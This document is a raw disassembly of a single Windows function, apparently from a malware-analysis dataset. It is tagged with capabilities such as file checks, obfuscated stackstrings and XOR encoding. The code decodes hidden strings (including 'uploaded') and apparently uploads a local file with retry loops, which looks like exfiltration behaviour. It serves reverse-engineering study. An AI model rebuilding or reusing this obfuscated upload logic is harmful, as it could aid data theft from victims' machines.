Function at 0x1401ba7e0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
push r13
push r14
lea rbp, [rsp - 0x120]
sub rsp, 0x220
cmp qword [rcx + 0x18], 0x10
mov r13, rcx
jb 0x1401ba80f
mov rcx, qword [rcx]
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x208], rdi
mov qword [rsp + 0x200], r12
mov qword [rsp + 0x1f8], r15
call qword [sym.imp.shlwapi.dll_PathFileExistsA]
xor r14d, r14d
test eax, eax
je 0x1401bba28
lea ebx, [r14 + 8]
nop dword [rax]
call fcn.140140f70
cmp dword [rax + 0x30], 0xa
jb 0x1401ba937
mov dword [rbp - 0x38], 0x640053
mov ecx, r14d
mov dword [rbp - 0x34], 0x67006c
mov dword [rbp - 0x30], 0x6b006d
mov dword [rbp - 0x2c], 0x270061
mov dword [rbp - 0x28], 0x68006c
mov dword [rbp - 0x24], 0x6a007e
mov dword [rbp - 0x20], 0x6b002c
mov dword [rbp - 0x1c], 0x66006f
mov dword [rbp - 0x18], 0x74007c
mov dword [rbp - 0x14], 0x330076
mov dword [rbp - 0x10], 0x730075
mov dword [rbp - 0xc], 0x720062
mov dword [rbp - 8], 0x39006a
mov dword [rbp - 4], 0x2b002b
mov dword [rbp], 0x7c003c
mov dword [rbp + 4], 0x6b006a
mov dword [rbp + 8], 0x4c0045
mov dword [rbp + 0xc], 0x570052
mov dword [rbp + 0x10], 0x50057
mov dword [rbp + 0x14], 0x41000e
mov dword [rbp + 0x18], 0xc0008
mov dword [rbp + 0x1c], 0x2004e
mov dword [rbp + 0x20], 2
nop dword [rax]
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 - 0x38], cx
inc ecx
cmp ecx, 0x2d
jb 0x1401ba910
mov r8d, ebx
mov word [rbp + 0x22], r14w
lea rdx, [rbp - 0x38]
xor ecx, ecx
call fcn.1401a8110
call fcn.1401a9e40
xorps xmm0, xmm0
mov qword [rbp - 0x60], r14
lea rdx, [rbp + 0x158]
mov byte [rbp + 0x158], 0
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], r14
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
call fcn.14013eec4
lea rdx, [rbp + 0x158]
mov byte [rbp + 0x158], 0
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0xf
call fcn.14013eec4
lea rdx, [rbp + 0x158]
mov qword [rbp + 0xc8], r14
lea rcx, [rsp + 0x70]
mov byte [rbp + 0x158], 0
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
call fcn.14013eec4
cmp qword [r13 + 0x18], 0x10
mov rcx, r13
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x140], r14
jb 0x1401ba9de
mov rcx, qword [r13]
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x28]
call fcn.140203180
test al, al
je 0x1401bb8fa
call fcn.140140ddc
mov rdi, qword [rbp + 0x28]
lea r9, [rbp - 0x70]
mov r8, qword [rbp + 0x140]
mov rdx, rdi
mov rcx, rax
call fcn.1401dc990
mov r8, qword [rbp + 0x140]
xor edx, edx
mov rcx, rdi
call fcn.1403ccc50
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.kernel32.dll_VirtualFree]
mov r9d, dword [rbp - 0x68]
lea rdx, [rbp + 0x48]
mov r8, qword [rbp - 0x70]
sub r9d, r8d
call fcn.1401da3b0
cmp qword [rbp + 0x58], 0
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x68], rcx
jbe 0x1401bbaab
call fcn.140141104
cmp qword [rbp + 0x60], 0x10
lea r15, [rbp + 0x48]
mov r12, rax
cmovae r15, qword [rbp + 0x48]
call fcn.140140f70
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], r14
lea rdi, [rax + 0x42f0]
cmp qword [rdi + 0x18], 0x10
mov rsi, qword [rdi + 0x10]
jb 0x1401baaa3
mov rdi, qword [rdi]
cmp rsi, 0x10
jae 0x1401baaba
movups xmm0, xmmword [rdi]
mov ebx, 0xf
movups xmmword [rbp + 0x88], xmm0
jmp 0x1401bab33
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401bab0e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401bbbb2
mov rcx, rax
call fcn.1403caaf4
mov rcx, rax
test rax, rax
je 0x1401bbbb8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401bab1d
test rcx, rcx
je 0x1401bab1a
call fcn.1403caaf4
jmp 0x1401bab1d
mov rax, r14
lea r8, [rsi + 1]
mov qword [rbp + 0x88], rax
mov rdx, rdi
mov rcx, rax
call fcn.1403cc5a0
cmp rbx, 0x10
mov qword [rbp + 0xa0], rbx
lea r14, [rbp + 0x88]
mov qword [rbp + 0x98], rsi
cmovae r14, qword [rbp + 0x88]
call fcn.140140f70
xor edx, edx
mov qword [rbp + 0xa8], rdx
mov qword [rbp + 0xb8], rdx
lea rdi, [rax + 0x42d0]
mov qword [rbp + 0xc0], rdx
cmp qword [rdi + 0x18], 0x10
mov rsi, qword [rdi + 0x10]
jb 0x1401bab85
mov rdi, qword [rdi]
cmp rsi, 0x10
jae 0x1401bab9c
movups xmm0, xmmword [rdi]
mov ebx, 0xf
movups xmmword [rbp + 0xa8], xmm0
jmp 0x1401bac17
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401babf0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401bbbb2
mov rcx, rax
call fcn.1403caaf4
mov rcx, rax
test rax, rax
je 0x1401bbbb8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401babff
test rcx, rcx
je 0x1401babfc
call fcn.1403caaf4
jmp 0x1401babff
mov rax, rdx
lea r8, [rsi + 1]
mov qword [rbp + 0xa8], rax
mov rdx, rdi
mov rcx, rax
call fcn.1403cc5a0
xor edx, edx
movdqa xmm0, xmmword [0x1404cf1c0]
lea rdi, [rbp + 0xa8]
cmp rbx, 0x10
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xb8], rsi
mov ecx, edx
cmovae rdi, qword [rbp + 0xa8]
movdqu xmmword [rbp + 0x28], xmm0
mov word [rbp + 0x38], 0x63
nop dword [rax]
movsxd rax, ecx
xor byte [rbp + rax + 0x28], cl
inc ecx
cmp ecx, 0x11
jb 0x1401bac50
mov qword [rbp - 0x38], rdx
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x28], rdx
lea rdx, [rbp + 0x28]
mov byte [rbp + 0x39], 0
mov qword [rbp - 0x20], 0xf
call fcn.14013eec4
mov eax, dword [rbp + 0x148]
lea r8, [rbp - 0x38]
mov qword [rsp + 0x40], r15
lea rdx, [rbp + 0xd0]
mov r15d, dword [rbp + 0x150]
mov r9, rdi
mov dword [rsp + 0x38], 0xffffffff
mov rcx, r12
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
call fcn.1401a5020
mov rbx, rax
lea rax, [rsp + 0x50]
cmp rax, rbx
je 0x1401bad40
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1401bad07
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bad02
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbb8
call fcn.1403cad84
mov qword [rsp + 0x68], 0xf
xor r14d, r14d
mov qword [rsp + 0x60], r14
mov byte [rsp + 0x50], r14b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbx + 0x10], r14
mov byte [rbx], r14b
mov qword [rbx + 0x18], 0xf
jmp 0x1401bad43
xor r14d, r14d
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1401bad84
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bad7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbb8
call fcn.1403cad84
mov rdx, qword [rbp + 0xc0]
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
cmp rdx, 0x10
jb 0x1401badde
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401badd9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbb8
call fcn.1403cad84
mov rdx, qword [rbp + 0xa0]
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
cmp rdx, 0x10
jb 0x1401bae38
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bae33
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbb8
call fcn.1403cad84
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
call fcn.140140ddc
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
movabs r12, 0x7fffffffffffffff
cmovae rsi, qword [rsp + 0x50]
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], r14
cmp rdi, 0x10
jae 0x1401bae99
movups xmm0, xmmword [rsi]
mov qword [rbp + 0x40], 0xf
movups xmmword [rbp + 0x28], xmm0
jmp 0x1401baf09
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401baee3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401bbbc4
mov rcx, rax
call fcn.1403caaf4
mov rcx, rax
test rax, rax
je 0x1401bbbbe
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401baef2
test rcx, rcx
je 0x1401baeef
call fcn.1403caaf4
jmp 0x1401baef2
mov rax, r14
lea r8, [rdi + 1]
mov qword [rbp + 0x28], rax
mov rdx, rsi
mov rcx, rax
call fcn.1403cc5a0
mov qword [rbp + 0x40], rbx
lea r8, [rbp + 0xc8]
mov qword [rbp + 0x38], rdi
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x28]
call fcn.1401db4d0
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x60], r14
cmovae rcx, qword [rsp + 0x50]
mov byte [rcx], 0
test al, al
je 0x1401bb80c
lea rdx, [rbp + 0x158]
mov byte [rbp + 0x158], 0
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x80], 0xf
call fcn.14013eec4
cmp qword [rbp - 0x40], 0x10
lea rsi, [rbp - 0x58]
mov rdi, qword [rbp - 0x48]
cmovae rsi, qword [rbp - 0x58]
cmp rdi, 0x10
jae 0x1401baf9b
movups xmm0, xmmword [rsi]
mov qword [rbp + 0xa0], 0xf
movups xmmword [rbp + 0x88], xmm0
jmp 0x1401bb011
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401bafe5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401bbba6
mov rcx, rax
call fcn.1403caaf4
mov rcx, rax
test rax, rax
je 0x1401bbbac
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401baff4
test rcx, rcx
je 0x1401baff1
call fcn.1403caaf4
jmp 0x1401baff4
mov rax, r14
lea r8, [rdi + 1]
mov qword [rbp + 0x88], rax
mov rdx, rsi
mov rcx, rax
call fcn.1403cc5a0
mov qword [rbp + 0xa0], rbx
mov ebx, 8
mov qword [rbp + 0x98], rdi
mov ecx, ebx
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x88]
call fcn.1401c7930
test al, al
je 0x1401bb254
call fcn.140140ddc
cmp qword [rbp + 0x80], 0x10
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0xc8]
lea r8, [rsp + 0x70]
cmovae rdx, qword [rbp + 0x68]
call fcn.1401dc500
test al, al
jne 0x1401bb4d0
cmp r15d, 9
je 0x1401bb539
lea ecx, [rbx + 0x5c]
call qword [sym.imp.kernel32.dll_Sleep]
call fcn.140140f70
inc dword [rax + 0x30]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x1401bb0bf
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb0ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp + 0x60]
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
cmp rdx, 0x10
jb 0x1401bb10d
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb108
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
cmp rdx, 0x10
jb 0x1401bb159
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb154
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1401bb1a5
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb1a0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
cmp rdx, 0x10
jb 0x1401bb1f2
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb1ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rcx, qword [rbp - 0x70]
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], r14
test rcx, rcx
je 0x1401ba850
mov rdx, qword [rbp - 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1401bb23e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
xorps xmm0, xmm0
mov qword [rbp - 0x60], r14
movdqu xmmword [rbp - 0x70], xmm0
jmp 0x1401ba850
call fcn.140140f70
mov ebx, dword [rax + 0x28]
call fcn.140140f70
cmp dword [rax + 0x24], ebx
jbe 0x1401bb342
mov ecx, dword [0x140548a38]
cmp ecx, 0x1c
je 0x1401bb27d
lea eax, [rcx - 7]
cmp eax, 1
ja 0x1401bb2e3
movdqa xmm0, xmmword [0x1404d0550]
mov ecx, r14d
movdqa xmm1, xmmword [0x1404d0070]
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0x18], 0x35b594f
movdqu xmmword [rbp - 0x28], xmm1
mov dword [rbp - 0x14], 0x51544057
mov dword [rbp - 0x10], 0x584f4a41
mov word [rbp - 0xc], 2
nop word [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax - 0x38], cl
inc ecx
cmp ecx, 0x2d
jb 0x1401bb2c0
lea rdx, [rbp - 0x38]
mov byte [rbp - 0xb], 0
xor ecx, ecx
call fcn.1401a7f70
mov ecx, dword [0x140548a38]
cmp ecx, 6
jne 0x1401bb33d
movdqa xmm0, xmmword [0x1404d0590]
xor eax, eax
movdqa xmm1, xmmword [0x1404d01c0]
mov ecx, r14d
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 8], 0x1d5c465f
movdqa xmm0, xmmword [0x1404cf700]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 4], al
movdqu xmmword [rbp - 0x28], xmm1
nop
movsxd rax, ecx
xor byte [rbp + rax - 0x38], cl
inc ecx
cmp ecx, 0x34
jb 0x1401bb320
lea rdx, [rbp - 0x38]
mov byte [rbp - 4], 0
xor ecx, ecx
call fcn.1401a7f70
call fcn.1401a9e40
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
call fcn.140140f70
inc dword [rax + 0x24]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x1401bb393
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb38e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp + 0x60]
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
cmp rdx, 0x10
jb 0x1401bb3e1
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb3dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
cmp rdx, 0x10
jb 0x1401bb42d
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb428
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1401bb479
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb474
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
cmp rdx, 0x10
jb 0x1401bb4c6
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb4c1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov ebx, 8
jmp 0x1401bb1f2
xor eax, eax
mov dword [rbp + 0x28], 0x6c6e7175
mov byte [rbp + 0x30], al
mov ecx, r14d
mov dword [rbp + 0x2c], 0x63636165
nop word [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax + 0x28], cl
inc ecx
cmp ecx, ebx
jb 0x1401bb4f0
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
lea rdx, [rbp + 0x28]
mov byte [rbp + 0x30], 0
cmovae rcx, qword [rsp + 0x70]
call fcn.1403cbcb0
test rax, rax
je 0x1401bb53d
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov ecx, 1
cmovae rdx, qword [rsp + 0x70]
call fcn.1401a7f70
mov bl, 1
jmp 0x1401bb5b2
xor eax, eax
mov dword [rbp + 0x140], 0x66616241
mov byte [rbp + 0x146], al
mov ecx, r14d
mov word [rbp + 0x144], 0x7677
nop dword [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax + 0x140], cl
inc ecx
cmp ecx, 6
jb 0x1401bb560
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
lea rdx, [rbp + 0x140]
mov byte [rbp + 0x146], 0
cmovae rcx, qword [rsp + 0x70]
call fcn.1403cbcb0
test rax, rax
je 0x1401bb5b0
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
xor ecx, ecx
call fcn.1401a7f70
xor bl, bl
call fcn.140140f70
mov dword [rax + 0x2c], r14d
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
mov qword [rbp - 0x48], r14
cmovae rax, qword [rbp - 0x58]
mov byte [rax], 0
lea rax, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
mov qword [rbp + 0x78], r14
cmovae rax, qword [rbp + 0x68]
mov byte [rax], 0
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
mov qword [rbp - 0x80], r14
cmovae rax, qword [rsp + 0x70]
mov byte [rax], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x1401bb63d
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb638
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp + 0x60]
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
cmp rdx, 0x10
jb 0x1401bb68b
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb686
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
cmp rdx, 0x10
jb 0x1401bb6d7
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb6d2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1401bb723
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb71e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
cmp rdx, 0x10
jb 0x1401bb770
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb76b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
test rcx, rcx
je 0x1401bb7c9
mov rdx, qword [rbp - 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1401bb7b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
xorps xmm0, xmm0
mov qword [rbp - 0x60], r14
movdqu xmmword [rbp - 0x70], xmm0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x1401bb804
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x1401bb7ff
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x1401bbbac
mov rcx, r8
call fcn.1403cad84
movzx eax, bl
jmp 0x1401bba65
cmp qword [rsp + 0x68], 0x10
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], r14
mov ecx, r14d
cmovae rax, qword [rsp + 0x50]
mov dword [rbp - 0x38], 0x6f0045
mov dword [rbp - 0x34], 0x710061
mov dword [rbp - 0x30], 0x75007d
mov byte [rax], 0
xor eax, eax
mov word [rbp - 4], ax
mov dword [rbp - 0x2c], 0x6e0072
mov dword [rbp - 0x28], 0x670067
mov dword [rbp - 0x24], 0x6a002a
mov dword [rbp - 0x20], 0x64007c
mov dword [rbp - 0x1c], 0x78002e
mov dword [rbp - 0x18], 0x620071
mov dword [rbp - 0x14], 0x750032
mov dword [rbp - 0x10], 0x7c0075
mov dword [rbp - 0xc], 0x72007a
mov dword [rbp - 8], 0x37007c
nop dword [rax]
movsxd rax, ecx
xor word [rbp + rax*2 - 0x38], cx
inc ecx
cmp ecx, 0x1a
jb 0x1401bb890
lea rdx, [rbp - 0x38]
mov word [rbp - 4], r14w
xor ecx, ecx
call fcn.1401a8110
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1401bb8ea
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb8e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1401bb936
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb931
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rbp - 0x40]
mov byte [rsp + 0x70], 0
mov qword [rbp - 0x78], 0xf
mov qword [rbp - 0x80], r14
cmp rdx, 0x10
jb 0x1401bb982
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb97d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rdx, qword [rsp + 0x68]
mov byte [rbp - 0x58], 0
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r14
cmp rdx, 0x10
jb 0x1401bb9cf
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bb9ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
test rcx, rcx
je 0x1401bba28
mov rdx, qword [rbp - 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1401bba17
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
xorps xmm0, xmm0
mov qword [rbp - 0x60], r14
movdqu xmmword [rbp - 0x70], xmm0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x1401bba63
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x1401bba5e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401bbbac
mov rcx, r8
call fcn.1403cad84
xor al, al
mov byte [r13], 0
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], 0xf
mov r15, qword [rsp + 0x1f8]
mov r12, qword [rsp + 0x200]
